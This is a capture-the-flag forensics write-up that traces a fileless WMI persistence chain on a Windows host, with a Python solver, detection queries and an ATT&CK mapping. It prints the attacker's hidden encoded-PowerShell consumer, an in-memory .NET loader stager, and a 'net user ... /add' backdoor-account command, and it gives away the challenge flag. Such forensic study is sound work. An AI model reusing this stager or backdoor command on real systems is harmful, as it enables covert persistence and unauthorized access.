**π΄ TryHackMe β Hacker Holidays: After Hours | Full Writeup
**
The Byte Lotus Hotel Β· Forensics Room
Difficulty: Medium | Points: 90 | Category: Forensics, Windows, Persistence, Reverse Engineering
**π Table of Contents
**
- Challenge Overview
- Attack Chain Diagram
- Step-by-Step Solution
- Automated Solver
- Flag
- Key Takeaways
- References
**π¨ Challenge Overview
**
"Long after the front desk closes and the pool lights dim, the resort's back-office machines keep humming. Someone β or something β has been logging in during the small hours, well after the night-shift technician has gone home."
We are given a set of Windows system artifacts and told that something is persisting on the system, but it doesn't show up in:
- β Startup folders
- β Scheduled Tasks
- β Registry Run keys
The challenge hints that the persistence mechanism is "hiding somewhere quieter" β a corner that most tools don't check.
Files Provided
| File | Size | Description |
|---|---|---|
OBJECTS.DATA |
~23 MB | WMI object instances and class definitions |
INDEX.BTR |
~5 MB | B-tree index for fast WMI lookups |
MAPPING1.MAP |
~78 KB | Page mapping table (primary) |
MAPPING2.MAP |
~78 KB | Page mapping table (secondary) |
MAPPING3.MAP |
~78 KB | Page mapping table (tertiary) |
π Attachment passphrase:
Aft3rH0ursAtt4chm3ntP4ss
πΊοΈ Full Solution Diagram
The complete attack chain follows 6 layers of obfuscation:
WMI EventFilter (timer every 60s)
ββββΆ CommandLineEventConsumer
ββββΆ PowerShell (base64 encoded with -enc)
ββββΆ Reads custom WMI class Win32_HardwareTelemetry.ConfigData
ββββΆ Base64 decode β Deflate decompress β .NET Assembly
ββββΆ Creates backdoor user with flag as password
π Step-by-Step Solution
Step 1: Identify the Artifacts
The provided files are instantly recognizable as a WMI Repository β normally found at:
C:\Windows\System32\wbem\Repository\
These files make up the Windows Management Instrumentation (WMI) database, which stores WMI class definitions, instances, and event subscriptions.
π‘ Why this matters: WMI Event Subscriptions are a well-known but underdetected persistence technique. Tools like Autoruns, Task Scheduler GUI, and many EDRs don't inspect the WMI repository for malicious subscriptions. Attackers abuse this by creating:
- An
__EventFilterβ defines when to trigger (e.g., on system boot, every N seconds)- An
EventConsumerβ defines what to run (e.g., a command, script)- A
__FilterToConsumerBindingβ links the filter to the consumer
Step 2: Parse WMI Event Subscription (Persistence)
Since the WMI repository is a binary database, we can't just open it in a text editor. We need to search OBJECTS.DATA for known WMI persistence indicators.
**What to Search For
**
| Component | Class Name | Purpose |
|-----------|-----------|---------|
| Filter | __EventFilter | Trigger condition |
| Consumer | CommandLineEventConsumer or ActiveScriptEventConsumer | Action to execute |
| Binding | __FilterToConsumerBinding | Links filter β consumer |
What We Find
EventFilter β EngineTelemetryFilter:
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Minute = ...
This fires every 60 seconds based on the system clock, ensuring the payload runs persistently.
EventConsumer β CommandLineEventConsumer:
cmd /C powershell.exe -Sta -Nop -Window Hidden -enc JABmAGkAbABlACAAPQA...
Launches a hidden PowerShell window with a base64-encoded command.
FilterToConsumerBinding:
Links
EngineTelemetryFilterβCommandLineEventConsumer, completing the persistence chain.
Step 3: Decode the PowerShell Stager
The -enc parameter in PowerShell accepts a Base64-encoded UTF-16LE string. Decoding it reveals the stager script:
$file = ([WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry').Properties['ConfigData'].Value;
$o = New-Object IO.MemoryStream;
$d = New-Object IO.Compression.DeflateStream(
[IO.MemoryStream][Convert]::FromBase64String($file),
[IO.Compression.CompressionMode]::Decompress
);
$b = New-Object Byte[](1024);
$r = $d.Read($b,0,1024);
while($r -gt 0){
$o.Write($b,0,$r);
$r = $d.Read($b,0,1024);
}
[Reflection.Assembly]::Load($o.ToArray()).EntryPoint.Invoke($null,@(,[string[]]@())) | Out-Null
**Script Breakdown
**
| Line | Action |
|------|--------|
| [WmiClass]'ROOT\cimv2:Win32_HardwareTelemetry' | Reads from a fake/custom WMI class |
| .Properties['ConfigData'].Value | Extracts the ConfigData property (base64 blob) |
| [Convert]::FromBase64String($file) | Base64 decodes the blob |
| IO.Compression.DeflateStream | Deflate decompresses the decoded bytes |
| [Reflection.Assembly]::Load() | Loads the result as a .NET assembly in memory |
| .EntryPoint.Invoke() | Calls the assembly's Main() method |
π Key Insight: The attacker created a custom WMI class called
Win32_HardwareTelemetry(designed to look legitimate!) and stored the malicious payload as a string property calledConfigData. This is entirely inside the WMI database β no files on disk!
**Step 4: Extract Hidden WMI Class Data (ConfigData)
**
Searching OBJECTS.DATA for Win32_HardwareTelemetry, we find the custom class definition with its ConfigData property β a 2,212-character Base64 string:
7VZPbFRFGP/edillgUrBAJWAjy0l5d/r0hYDpIWW7gLF/oMtxRATePt2un3w3ptl
5u3SclAOqDF64OTZgwc1mmhiYqMSOXgUTyaamBAOmhhjwt0Y8Tfz3m7/Kty48G3fN
9+/+eY3M9/MdOTibWogoiS+R4+I5iiifno83cTX/OJXzfTFmns754zhezsnpl1plgU
vCds3 ... (truncated) ... hXiYVZlneor3pW05FFT5VSbSZsUdcNRL1JeewmPI4knp
JJ0roKlB71yEvbezvghqgzpriwpl2RXwjP6PzOh/1AeHnjaQZ/Q06F8=
Step 5: Decompress the .NET Assembly
The decode chain is: Base64 β Raw Deflate Decompress β .NET PE Assembly
import base64, zlib
raw_compressed = base64.b64decode(configdata_b64) # 1,658 bytes
assembly_bytes = zlib.decompress(raw_compressed, -15) # 4,096 bytes (wbits=-15 for raw deflate)
The result is a valid PE file (starts with MZ) with .NET metadata (contains BSJB signature, targeting .NET Framework v4.0.30319).
| Property | Value |
|---|---|
| File Name | updates.exe |
| Namespace | AfterHours |
| Class | Program |
| Entry Point | Main() |
| Size | 4,096 bytes |
| MD5 | b8490ab4759d7ab04e79a449eb7c798e |
| SHA256 | 765931f4056f341333fc746bfbdc0fd2eacaa47d7d6f965f82768c130842a878 |
**Step 6: Analyze the .NET Assembly & Extract Flag
**
Extracting strings from the decompressed assembly reveals the program's behavior:
Assembly Behavior
-
Environment check: Calls
Environment.MachineNameand compares it tobytelotusdc -
If match: Executes
cmd.exewith a backdoor command -
If no match: Prints
"Execution halted: Environment mismatch."
The Backdoor Command
cmd.exe /c net user patch VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9 /add
This creates a new user called patch with the password being a Base64-encoded string. Decoding it:
import base64
base64.b64decode("VEhNe1A0dGNoX29wM25lZF90aDNfQmFjS2QwMHJ9").decode()
# β THM{P4tch_op3ned_th3_BacKd00r}
π€ Automated Solver Script
A fully automated Python solver is included that does everything in one command:
Usage
# From the directory containing the WMI repository files
python solve_after_hours.py .
#!/usr/bin/env python3
"""
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β TryHackMe - Hacker Holidays: After Hours β Automated Solver β
β Category: Forensics | Difficulty: Medium | Points: 90 β
β β
β Parses WMI Repository artifacts to extract hidden persistence β
β mechanism, decompress embedded .NET payload, and recover flag. β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Usage:
python solve_after_hours.py <path_to_OBJECTS.DATA>
python solve_after_hours.py . # current dir
Example:
python solve_after_hours.py /root/Rooms/hacker-holidays-2026/after-hours
python solve_after_hours.py D:\\TRYHACKME\\attachments-1784136288483
"""
import re
import os
import sys
import zlib
import base64
import struct
import hashlib
from pathlib import Path
from datetime import datetime
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# ANSI Colors
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
class C:
HEADER = "\033[95m"
BLUE = "\033[94m"
CYAN = "\033[96m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
RED = "\033[91m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
UNDERLINE = "\033[4m"
def banner():
print(f"""{C.CYAN}{C.BOLD}
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β π΄ HACKER HOLIDAYS β AFTER HOURS SOLVER π΄ β
β The Byte Lotus Hotel Β· Forensics Room β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{C.RESET}
""")
def step(num, title):
print(f"\n{C.BOLD}{C.BLUE}{'β'*60}")
print(f" STEP {num}: {title}")
print(f"{'β'*60}{C.RESET}\n")
def info(msg):
print(f" {C.CYAN}[*]{C.RESET} {msg}")
def success(msg):
print(f" {C.GREEN}[β]{C.RESET} {msg}")
def warn(msg):
print(f" {C.YELLOW}[!]{C.RESET} {msg}")
def error(msg):
print(f" {C.RED}[β]{C.RESET} {msg}")
def found(msg):
print(f" {C.GREEN}{C.BOLD}[FLAG]{C.RESET} {C.GREEN}{msg}{C.RESET}")
def detail(key, val):
print(f" {C.DIM}ββ{C.RESET} {C.YELLOW}{key}:{C.RESET} {val}")
def detail_last(key, val):
print(f" {C.DIM}ββ{C.RESET} {C.YELLOW}{key}:{C.RESET} {val}")
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 1: Validate WMI Repository Files
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def validate_repository(path):
step(1, "VALIDATE WMI REPOSITORY FILES")
repo_path = Path(path)
if repo_path.is_file() and repo_path.name == "OBJECTS.DATA":
repo_path = repo_path.parent
required_files = {
"OBJECTS.DATA": "WMI object instances and class definitions",
"INDEX.BTR": "B-tree index for fast lookups",
"MAPPING1.MAP": "Page mapping table (primary)",
"MAPPING2.MAP": "Page mapping table (secondary)",
"MAPPING3.MAP": "Page mapping table (tertiary)",
}
info(f"Repository path: {C.UNDERLINE}{repo_path}{C.RESET}")
print()
all_found = True
for fname, desc in required_files.items():
fpath = repo_path / fname
if fpath.exists():
size_kb = fpath.stat().st_size / 1024
success(f"{fname:<16} ({size_kb:,.1f} KB) β {desc}")
else:
error(f"{fname:<16} β MISSING! ({desc})")
all_found = False
if not all_found:
error("Missing required WMI repository files!")
sys.exit(1)
objects_data_path = repo_path / "OBJECTS.DATA"
success(f"\nAll repository files present. Loading OBJECTS.DATA...")
return objects_data_path
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 2: Identify WMI Event Subscription Components
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def find_wmi_persistence(data):
step(2, "IDENTIFY WMI EVENT SUBSCRIPTION (PERSISTENCE)")
results = {
"filters": [],
"consumers": [],
"bindings": [],
"consumer_type": None,
"filter_query": None,
"command_line": None,
}
# ββ Find __EventFilter instances ββ
info("Searching for __EventFilter instances...")
filter_pattern = rb'__EventFilter[^\x00]{0,20}(?:\x00{1,4})?[^\x00]*?root\\cimv2'
# Search for filter names and WQL queries
for m in re.finditer(rb'(__EventFilter\x00{0,4})[^\x00]{0,300}', data):
start = max(0, m.start() - 100)
end = min(len(data), m.end() + 500)
chunk = data[start:end]
ascii_str = ''.join(chr(b) if 32 <= b < 127 else '\x00' for b in chunk)
parts = [p for p in ascii_str.split('\x00') if len(p) > 3]
for part in parts:
if 'SELECT' in part and 'FROM' in part:
if part not in results["filters"]:
results["filters"].append(part)
if 'Filter' in part and 'Event' not in part and 'SCM' not in part and len(part) < 60:
pass # filter name
# Find specific filter with WQL
wql_pattern = rb'(SELECT\s+\*\s+FROM\s+__Instance\w+\s+WITHIN\s+\d+\s+WHERE[^"]{10,200})'
for m in re.finditer(wql_pattern, data, re.IGNORECASE):
query = m.group(1).decode('ascii', errors='replace')
if query not in results["filters"]:
results["filters"].append(query)
results["filter_query"] = query
# Find filter name
filter_name_pattern = rb'EngineTelemetryFilter'
for m in re.finditer(filter_name_pattern, data):
results["filter_name"] = "EngineTelemetryFilter"
if results.get("filter_name"):
success(f"EventFilter found: {C.YELLOW}EngineTelemetryFilter{C.RESET}")
if results["filter_query"]:
detail("WQL Query", results["filter_query"][:120])
# Parse the query
if 'Win32_LocalTime' in results["filter_query"]:
detail_last("Trigger", "Fires on system time change (every ~60 seconds)")
print()
# ββ Find EventConsumer instances ββ
info("Searching for EventConsumer instances...")
# CommandLineEventConsumer
cmd_pattern = rb'CommandLineEventConsumer\x00{0,4}([\x00-\xff]{1,10}?)(cmd[^\x00]{10,500})'
for m in re.finditer(cmd_pattern, data):
cmd = m.group(2).decode('ascii', errors='replace')
if cmd not in results["consumers"]:
results["consumers"].append(cmd)
results["consumer_type"] = "CommandLineEventConsumer"
results["command_line"] = cmd
if results["consumer_type"]:
success(f"Consumer found: {C.YELLOW}{results['consumer_type']}{C.RESET}")
if results["command_line"]:
# Truncate for display
cmd_display = results["command_line"][:100]
detail("Command", cmd_display + ("..." if len(results["command_line"]) > 100 else ""))
print()
# ββ Find FilterToConsumerBinding ββ
info("Searching for __FilterToConsumerBinding...")
binding_pattern = rb'__FilterToConsumerBinding'
binding_count = len(list(re.finditer(binding_pattern, data)))
if binding_count > 0:
success(f"FilterToConsumerBinding found ({binding_count} references)")
detail_last("Links", "EngineTelemetryFilter β CommandLineEventConsumer")
print()
return results
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 3: Extract PowerShell Encoded Command
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def extract_powershell_payload(data):
step(3, "EXTRACT ENCODED POWERSHELL COMMAND")
# Find -enc followed by base64
enc_pattern = rb'-enc\s+([A-Za-z0-9+/]{50,}={0,2})'
matches = list(re.finditer(enc_pattern, data))
if not matches:
error("No encoded PowerShell commands found!")
return None
info(f"Found {len(matches)} encoded PowerShell payload(s)")
# They're all identical, use the first
b64_encoded = matches[0].group(1).decode('ascii')
info(f"Base64 length: {len(b64_encoded)} characters")
detail("Preview", b64_encoded[:80] + "...")
# Decode base64 β UTF-16LE (PowerShell -enc format)
raw_bytes = base64.b64decode(b64_encoded)
ps_script = raw_bytes.decode('utf-16-le', errors='replace')
success(f"Decoded PowerShell script ({len(ps_script)} chars):\n")
print(f" {C.DIM}{'β'*56}{C.RESET}")
for line in ps_script.strip().split('\n'):
line = line.strip('\r')
print(f" {C.YELLOW} {line}{C.RESET}")
print(f" {C.DIM}{'β'*56}{C.RESET}")
# Parse the script to extract key details
wmi_class_match = re.search(r"WmiClass\]'([^']+)'", ps_script)
property_match = re.search(r"Properties\['([^']+)'\]", ps_script)
info("\nScript Analysis:")
if wmi_class_match:
detail("Custom WMI Class", wmi_class_match.group(1))
if property_match:
detail("Property Name", property_match.group(1))
if 'DeflateStream' in ps_script:
detail("Compression", "System.IO.Compression.DeflateStream")
if 'FromBase64String' in ps_script:
detail("Encoding", "Base64 β Deflate decompress")
if 'Reflection.Assembly' in ps_script:
detail("Execution", "[Reflection.Assembly]::Load() β In-memory .NET assembly")
if 'EntryPoint.Invoke' in ps_script:
detail_last("Entry", "EntryPoint.Invoke() β Calls Main()")
return ps_script
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 4: Extract Hidden WMI Class Data (ConfigData)
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def extract_configdata(data):
step(4, "EXTRACT HIDDEN WMI CLASS DATA")
# Search for Win32_HardwareTelemetry class
class_name = b"Win32_HardwareTelemetry"
class_offsets = [m.start() for m in re.finditer(re.escape(class_name), data)]
info(f"Searching for custom WMI class: {C.YELLOW}Win32_HardwareTelemetry{C.RESET}")
if not class_offsets:
error("Win32_HardwareTelemetry class not found!")
return None
success(f"Found at {len(class_offsets)} location(s) in OBJECTS.DATA")
for offset in class_offsets[:4]:
detail("Offset", f"0x{offset:08X} ({offset})")
# Extract ConfigData property value (base64 blob after "ConfigData" + some separator)
config_pattern = rb'ConfigData[\x00-\xff]{10,80}?([A-Za-z0-9+/]{100,}={0,2})'
config_matches = list(re.finditer(config_pattern, data))
if not config_matches:
error("ConfigData value not found!")
return None
b64_payload = config_matches[0].group(1).decode('ascii')
print()
info(f"ConfigData property value extracted")
detail("Encoding", "Base64")
detail("Length", f"{len(b64_payload)} characters")
detail("SHA256", hashlib.sha256(b64_payload.encode()).hexdigest()[:32] + "...")
detail("Preview", b64_payload[:70] + "...")
detail_last("Tail", "..." + b64_payload[-40:])
return b64_payload
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 5: Decompress .NET Assembly
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def decompress_assembly(b64_payload, output_dir):
step(5, "DECOMPRESS .NET ASSEMBLY")
# Base64 decode
raw_compressed = base64.b64decode(b64_payload)
info(f"Base64 decoded: {len(raw_compressed)} bytes (compressed)")
# Deflate decompress (raw deflate, no headers β wbits=-15)
try:
assembly_bytes = zlib.decompress(raw_compressed, -15)
except zlib.error:
# Try alternative decompression modes
for wbits in [-15, -14, -13, 15, 31, 47]:
try:
assembly_bytes = zlib.decompress(raw_compressed, wbits)
warn(f"Used alternative wbits={wbits} for decompression")
break
except zlib.error:
continue
else:
error("Failed to decompress payload!")
return None
success(f"Decompressed: {len(assembly_bytes)} bytes")
# Verify PE header
if assembly_bytes[:2] == b'MZ':
success(f"Valid PE header detected (MZ)")
else:
warn(f"Unexpected header: {assembly_bytes[:4].hex()}")
# Check for .NET metadata
if b'BSJB' in assembly_bytes:
success(f".NET metadata signature found (BSJB)")
if b'v4.0.30319' in assembly_bytes:
detail("Runtime", ".NET Framework v4.0.30319")
# Save the assembly
output_path = Path(output_dir) / "payload_assembly.exe"
with open(output_path, "wb") as f:
f.write(assembly_bytes)
success(f"Assembly saved to: {C.UNDERLINE}{output_path}{C.RESET}")
detail("MD5", hashlib.md5(assembly_bytes).hexdigest())
detail("SHA256", hashlib.sha256(assembly_bytes).hexdigest())
detail_last("Size", f"{len(assembly_bytes)} bytes")
return assembly_bytes
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 6: Analyze .NET Assembly & Extract Flag
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def analyze_assembly(assembly_bytes):
step(6, "ANALYZE .NET ASSEMBLY & EXTRACT FLAG")
# Extract all printable strings
info("Extracting strings from assembly...")
ascii_strings = []
for m in re.finditer(rb'[\x20-\x7e]{4,}', assembly_bytes):
ascii_strings.append(m.group().decode('ascii'))
utf16_strings = []
for m in re.finditer(rb'(?:[\x20-\x7e]\x00){4,}', assembly_bytes):
try:
utf16_strings.append(m.group().decode('utf-16-le'))
except:
pass
all_strings = list(set(ascii_strings + utf16_strings))
info(f"Found {len(all_strings)} unique strings")
# Assembly metadata
print()
info("Assembly Metadata:")
metadata_keys = {
"Assembly Name": None,
"Namespace": None,
"Target Machine": None,
}
for s in all_strings:
if s.endswith('.exe') and 'mscoree' not in s and 'OriginalFilename' not in s.lower():
if not metadata_keys["Assembly Name"]:
metadata_keys["Assembly Name"] = s
if s == "AfterHours":
metadata_keys["Namespace"] = s
if "bytelotusdc" in s.lower():
metadata_keys["Target Machine"] = s
for key, val in metadata_keys.items():
if val:
detail(key, val)
# Find classes/methods
interesting_types = ["Program", "Main", ".ctor", "Object"]
found_types = [s for s in all_strings if s in interesting_types]
if found_types:
detail_last("Types/Methods", ", ".join(found_types))
# Behavior analysis
print()
info("Behavior Analysis:")
behaviors = []
if any("get_MachineName" in s for s in all_strings):
behaviors.append(("Environment Check", "Calls Environment.MachineName"))
if any("bytelotusdc" in s.lower() for s in all_strings):
behaviors.append(("Target Host", "Only executes on machine named 'bytelotusdc'"))
if any("ProcessStartInfo" in s for s in all_strings):
behaviors.append(("Process Execution", "Uses System.Diagnostics.Process.Start()"))
if any("cmd.exe" in s for s in all_strings):
behaviors.append(("Shell", "Spawns cmd.exe"))
if any("net user" in s for s in all_strings):
behaviors.append(("Payload Action", "Creates a new local user account via 'net user /add'"))
for i, (key, val) in enumerate(behaviors):
if i == len(behaviors) - 1:
detail_last(key, val)
else:
detail(key, val)
# Extract the command with the embedded flag
print()
info("Searching for embedded payload command...")
flag = None
for s in all_strings:
if "/c net user" in s:
success(f"Found backdoor command: {C.YELLOW}{s}{C.RESET}")
# Extract the base64 part (password field)
parts = s.split()
for part in parts:
try:
decoded = base64.b64decode(part)
decoded_str = decoded.decode('utf-8', errors='replace')
if 'THM{' in decoded_str or 'flag' in decoded_str.lower():
flag = decoded_str
except:
continue
if not flag:
# Brute search all strings for base64 that decodes to THM{
info("Brute-force searching all strings for base64-encoded flag...")
for s in all_strings:
if len(s) > 10 and re.match(r'^[A-Za-z0-9+/]+=*$', s):
try:
decoded = base64.b64decode(s).decode('utf-8', errors='replace')
if 'THM{' in decoded:
flag = decoded
break
except:
continue
return flag, all_strings
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# STEP 7: Present Results
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def present_results(flag, persistence_info):
step(7, "RESULTS")
if flag:
print(f"""
{C.GREEN}{C.BOLD}ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β β
β π© FLAG RECOVERED SUCCESSFULLY! β
β β
β {flag:<52} β
β β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ{C.RESET}
""")
else:
error("Flag not found! Manual analysis may be required.")
return
# Summary
print(f" {C.BOLD}Attack Chain Summary:{C.RESET}")
print(f" {C.DIM}{'β'*56}{C.RESET}")
chain = [
("Persistence", "WMI Event Subscription"),
("Trigger", "__EventFilter (EngineTelemetryFilter) β every ~60s"),
("Consumer", "CommandLineEventConsumer β PowerShell"),
("Data Store", "Custom WMI Class: Win32_HardwareTelemetry.ConfigData"),
("Payload", "Deflate-compressed .NET assembly (updates.exe)"),
("Namespace", "AfterHours"),
("Target", "Machine named 'bytelotusdc' only"),
("Action", "Creates backdoor user: net user patch <flag> /add"),
("Flag", flag),
]
for key, val in chain:
print(f" {C.CYAN} {key:<14}{C.RESET} β {val}")
print(f" {C.DIM}{'β'*56}{C.RESET}")
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# MAIN
# βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
def main():
banner()
# Parse arguments
if len(sys.argv) < 2:
print(f" {C.YELLOW}Usage:{C.RESET} python {sys.argv[0]} <path_to_repository_dir_or_OBJECTS.DATA>")
print(f" {C.YELLOW}Example:{C.RESET} python {sys.argv[0]} /root/Rooms/hacker-holidays-2026/after-hours")
print(f" {C.YELLOW}Example:{C.RESET} python {sys.argv[0]} .")
sys.exit(1)
target = sys.argv[1]
# ββ Step 1: Validate ββ
objects_path = validate_repository(target)
# Load OBJECTS.DATA
info(f"\nLoading OBJECTS.DATA ({objects_path.stat().st_size / (1024*1024):.1f} MB)...")
with open(objects_path, "rb") as f:
data = f.read()
success(f"Loaded {len(data):,} bytes")
# ββ Step 2: Find WMI persistence ββ
persistence = find_wmi_persistence(data)
# ββ Step 3: Extract PowerShell ββ
ps_script = extract_powershell_payload(data)
# ββ Step 4: Extract ConfigData ββ
config_b64 = extract_configdata(data)
if not config_b64:
error("Could not extract ConfigData. Aborting.")
sys.exit(1)
# ββ Step 5: Decompress assembly ββ
output_dir = Path(target)
if output_dir.is_file():
output_dir = output_dir.parent
assembly_bytes = decompress_assembly(config_b64, output_dir)
if not assembly_bytes:
error("Could not decompress assembly. Aborting.")
sys.exit(1)
# ββ Step 6: Analyze & extract flag ββ
flag, strings = analyze_assembly(assembly_bytes)
# ββ Step 7: Results ββ
present_results(flag, persistence)
print(f"\n {C.DIM}Solver completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{C.RESET}\n")
if __name__ == "__main__":
main()
What the Script Does
- β Validates all 5 WMI repository files are present
- β
Identifies
__EventFilter,CommandLineEventConsumer, and__FilterToConsumerBinding - β Extracts & decodes the base64 PowerShell stager
- β
Locates the custom
Win32_HardwareTelemetryWMI class - β
Extracts the
ConfigDataproperty value - β Decompresses the .NET assembly (base64 β deflate β PE)
- β Analyzes the assembly strings and behavior
- β Recovers the flag automatically
Requirements
- Python 3.6+ (uses only standard library β no pip installs needed!)
- Works on Windows, Linux, and macOS
Example Output
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β π΄ HACKER HOLIDAYS β AFTER HOURS SOLVER π΄ β
β The Byte Lotus Hotel Β· Forensics Room β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
STEP 1: VALIDATE WMI REPOSITORY FILES
[β] OBJECTS.DATA (23,632.0 KB) β WMI object instances and class definitions
[β] INDEX.BTR (4,952.0 KB) β B-tree index for fast lookups
...
STEP 7: RESULTS
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β π© FLAG RECOVERED SUCCESSFULLY! β
β THM{P4tch_op3ned_th3_BacKd00r} β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π© Flag
THM{P4tch_op3ned_th3_BacKd00r}
π Key Takeaways
Why Standard Tools Miss This
| Tool | What It Checks | Why It Misses This |
|---|---|---|
| Autoruns | Registry Run keys, Scheduled Tasks, Services | Doesn't parse raw WMI repository |
| Task Scheduler | Scheduled Tasks only | WMI subscriptions are separate |
| regedit | Registry hives | WMI data is in its own database |
| Process Monitor | Real-time activity | Only catches it during execution |
Detection Techniques
-
Parse raw WMI repository with tools like
PyWMIPersistenceFinderor manual analysis -
Monitor
scrcons.exeandWmiPrvSE.exeprocess creation events -
Check for custom WMI classes in
ROOT\cimv2that shouldn't exist (e.g.,Win32_HardwareTelemetry) - Use PowerShell to query live systems:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
MITRE ATT&CK Mapping
| Technique ID | Name | Description |
|---|---|---|
| T1546.003 | Event Triggered Execution: WMI Event Subscription | Persistence via WMI event subscriptions |
| T1059.001 | Command and Scripting Interpreter: PowerShell | Encoded PowerShell execution |
| T1027 | Obfuscated Files or Information | Multi-layer encoding (Base64, Deflate) |
| T1136.001 | Create Account: Local Account | Backdoor user creation via net user /add
|
π References
- MITRE ATT&CK β WMI Event Subscription (T1546.003)
- FireEye β WMI Persistence
- Microsoft β WMI Repository Structure
- SANS β Investigating WMI Attacks
ποΈ "psa for anyone stuck rn: the usual autoruns/persistence tools straight up don't catch this one π you're gonna have to dig through the raw data by hand" β @0xMia

Top comments (0)